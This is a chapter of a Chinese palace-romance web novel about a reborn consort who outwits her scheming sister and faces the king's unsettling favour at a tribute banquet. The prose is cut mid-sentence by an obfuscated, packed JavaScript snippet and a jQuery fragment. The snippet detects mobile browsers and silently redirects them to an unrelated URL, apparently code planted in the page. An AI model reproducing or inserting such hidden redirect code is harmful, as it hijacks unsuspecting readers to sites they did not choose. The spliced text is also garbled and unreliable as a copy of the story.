且晏姝又被所谓的姐妹之情蒙蔽,以为晏清婉只是真心想留在萧宫陪自己,所以对青桃的几番劝阻都未听进去。
经此一番才知道,这阖宫上下真心为她着想的恐怕只有青桃了。
思罢,晏姝泪眼汪汪,冲青桃招了招手。青桃虽不解但还是乖乖朝榻上的公主走了过来,随后便被晏姝一把搂住了胳膊。
“好青桃,还是你对我好。”晏姝搂着青桃,说的很是真心。
虽然不知道公主为何突然撒起娇来,但青桃可还没忘了正事,正色劝道:“公主,奴婢知道您一向待婉姬好,可她要留下的事,您不能说答应就答应啊。您如今正得宠,她这样平白无故地插进来,到底算什么嘛。”
晏姝闻言笑了笑,继而拍了拍青桃的手,“你就安心吧,我不会让晏清婉留下来的。”
青桃闻言顿时瞠了瞠目,她都做好了公主不答应她要继续费口舌的准备了,结果公主竟然这么干脆就答应了,她还有好些话没说呢。
什么农夫与蛇,东郭先生与狼啊。
反正在青桃眼里,那个婉姬绝对不是什么善茬。毕竟是晏王后亲自选出来的媵妾,怎可能是什么简单的角色。也就自家公主天真,真心待那婉姬如姐妹呢。
其次,青桃自然也有自己的小心思。她从十一岁就做了公主的贴身婢女,和公主的情份岂是那个婉姬能比得上的。
“公主既然不答应,那方才为何说会在王上面前替婉姬说话呢。”
晏姝轻轻笑了笑:“我那都是推脱之词,晏清婉刚刚哭个不停,我若不说些假话哄她,她今日怕是要赖在我们这儿不走了。”
听完晏姝的解释,青桃这才安了心。
“公主能这般想就再好不过了,奴婢方才还担心您又被那婉姬哭心软了,幸亏您这回自己想得明白。”
晏姝心中叹气,有了上一辈子血的教训,她怎能不想明白呢。
于是接下来几日,晏清婉便一直侯着晏姝那边的消息,盼着晏姝能在萧王面前求她留下。然而十余日过去,等来的却是一纸遣返令,三日后她便要启程回晏国。
晏清婉此时才惊觉知自己根本就是被晏姝哄骗,于是慌张奔赴宝华殿求见,却被守门侍卫横戟一把拦在了殿门外。
她的示弱哭诉皆成徒劳,晏姝始终未曾露面。
晏姝当然不会出来见晏清婉,她懒洋洋地躺在软榻上,慢条斯理地剥着葡萄,听着殿外传来的啜泣声哭诉声断断续续响了近半个时辰,直至那哭声渐歇,才知晏清婉终是哭不动了。
晏姝此刻心无波澜,气定神闲地翻着话本子,最后问了时辰,才叫青桃吩咐外头的寺人将人送走。
这遣走并非晏姝心软,实是怕晏清婉久候于此,万一叫萧彧撞见,二人若是勾勾搭搭上了,她岂不是一番功夫白费。
不过这十几日,萧彧约莫大半日子都是宿在她这处,倒是从没过问过她的媵妾之事。
这厢晏姝虽已是笃定了不留晏清婉,那厢各国使臣已经带着贺萧国新君继位的献礼纷纷上路。
如今天下乱世,各国林立,国与国之间往往不会轻易开战,所以一国新王上任,其余诸国自然要聊表心意,献上各自的贺礼了。尤其是在萧国这种更为强盛的国家面前,周边小国更是殷勤道贺。
而这些献礼中,除了奇珍异宝外,最多的便是环肥燕瘦的美人。
萧威王好色成性,往日只要有人献美,他皆是照单全收的。而这位新萧王又是萧威王的侄子,于是不少人都猜其与萧威王秉性相同。所以诸国献礼时便也如昔日一般,依照萧威王的喜好挑选。
毕竟这天下男人哪有不好色的,送美人总是挑不出错处来的。
晏国自然也不例外,此番除了一些金银器物,还特意送了五名容貌甚美的舞姬。
使臣来访,萧国自然要以燕飨之礼接待,而这场效劳宴就设在了三日后。
晏姝作为萧王如今的唯一妾室,这日自然也要去赴这场效劳宴。
盛装入宴时,晏姝便见那些舞姬正在随着管弦丝竹偏偏起舞。
舞姬大胆的着装露出了片片白嫩肌肤,吸引了在场诸多目光。
而这些目光在看到落座的晏姝后,愈发变得惊艳灼灼起来。
众人皆是瞩目,只听闻如今萧王后宫只有一美人,竟不知这美人生得如此貌美动人。
此番只是堪堪露面,便已叫旁人全都黯然失色了。
晏姝坐在席间,看着那些姿态妖娆的舞姬,心里倒是没什么波澜了。
前世亦是这般光景,诸国使臣争相向萧彧进献美人,那时的她只急得如热锅蚂蚁,生怕萧彧将那些女子尽数纳入后宫,分了自己的恩宠。
但萧彧却是一个都没留下,反而是将那些女子都赐给了朝臣和武将。
彼时的晏姝只当萧彧是独宠自己才会如此,心中顿时得意万分。
如今才知,这一切不过是萧彧的捧杀手段罢了。
所以此番晏姝心无起伏,纵然今日萧彧真的留下了那些女子,她也全然不在意。
萧彧进殿时,便见左下席位的晏姝认真盯着宴间的舞姬,一双水润的杏眼正看得兴致勃勃,而席间惊有不少男人暗暗朝女郎的方向暗暗窥视。
年轻君主眸中倏尔掠过阴霾。
众人见萧彧来后,纷纷行礼,晏姝方才注意到了径直走向她的萧彧。
“妾身见过王上,王上万安。”晏姝立刻和众人一样,开始福身行礼。
不过还未待她将礼行完,就被来人突然攥住了腕子。
晏姝一惊,抬头正要问些什么,便见萧彧拉着她朝上座走去。
未等晏姝回过神,萧彧就这么在众目睽睽之下将她拉到了怀里一并坐上了主位。
不止是晏姝惊了,宴间众人都惊了。
众人都不曾想到,这美人竟会如此受宠。
可此时唯有晏姝不敢这般想的了,她心中惴惴,不知萧彧怎会突然如此。
因为前世的萧彧根本未有这般逾矩之举,难道就因为自己重生后做了一些微末的改变,就撬动了他惯常的行事吗。
转念间,晏姝的面色又白了几分。
但无论如何改变,萧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901304|176645||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
彧这般也不过是故意捧杀她罢了。
待她错认自己是掌心里的明珠,便在她最忘形得意之时将她狠狠掷碎,丢入泥泞之中。
晏姝正垂眸胡思乱想,倏地就被人抬起了下巴。
“晏晏在想什么?”
女郎眼睫微颤,迅速掩去了眼底的慌乱,抬眼便是换了一副受宠若惊的模样。
“王上,妾身坐在此处怕是有些不妥吧……”
“有何不妥。”萧彧端起酒盏送到了唇边,敛眸扫了一圈座下跪拜的众人,语调懒散。
“都起来吧。”
众人闻言这才纷纷起身落座。
丝竹管弦随之而起,方才停歇的舞姬又开始随乐起舞。
晏姝目光被引走,耳边便响起一记低低的轻笑。
“就这般喜欢看?”
晏姝微愣,反应过来后,桃腮顿时微微一红。
“爱美之心人皆有之,王上难道不喜欢吗?”
她才不信萧彧会对这些翩翩起舞的美人无动于衷,前世做出一副独宠她一人的样子也不过是为了故意捧杀她罢了。
‘“那晏晏希望孤喜欢吗?”萧彧挑眉,一只手懒散地绕着晏姝的衣带子。
晏姝发现,萧彧同她亲昵时,似乎特别喜欢摆弄她身上的东西,或是头发或是衣带。
那双狭长的眸子也是温温柔柔地望着她,一副宠爱至极的模样,这当真不能怪前世的她会深陷进去。
“妾身怎能做王上的主呢,那些美人本就是别国献给王上的,王上若是喜欢,岂不是想留便留。”
晏姝不再像前世那般表现的太过嫉妒,而是摆出一副贴心佳人的模样,叫人挑不出一点错来。
萧彧闻言眼底微晦,继而又弯了弯眼。
“晏晏倒是懂事。”
萧彧虽带着笑意,可晏姝却莫名觉得有些瘆得慌。
懂事?这是认可她猜到了他的心思?
晏姝其实有些不解的。
虽说她与萧彧前世相处了三年,但说实在话,晏姝其实也经常捉摸不透萧彧心中所想。就如此刻,萧彧虽依旧对她温柔笑着,但晏姝总觉得他眼底凉浸浸的。
宴起,众使臣也开始纷纷献上贺礼。
宦官令周同念着那长长的贺礼单子,一箱箱的奇珍异宝纷至沓来地抬上来简直晃花了晏姝的眼。
除此之外便是那环肥燕廋,争奇斗艳的美人们了。
轮到晏国使臣时,便见他拍拍手掌,那群舞姬再次翩然而出。一番细细看下来,便知个个样貌都极为出挑。
“这些舞姬皆是晏国精挑细选送来服侍萧王陛下的,还请陛下笑纳。”
萧彧闻言神色淡淡,低头看向了坐在怀中的女郎。
“晏晏觉得如何?”
萧彧这话一出,殿内众人的目光便都齐刷刷地落在了这位得宠的晏美人身上。
晏姝顿感不适,只能开口道:“人美舞美,妾也喜欢。”
听到晏姝的回答,萧彧似笑非笑,抬手捏了捏女郎白润的脸颊,狭眸微敛,“晏晏可不能喜欢旁人。”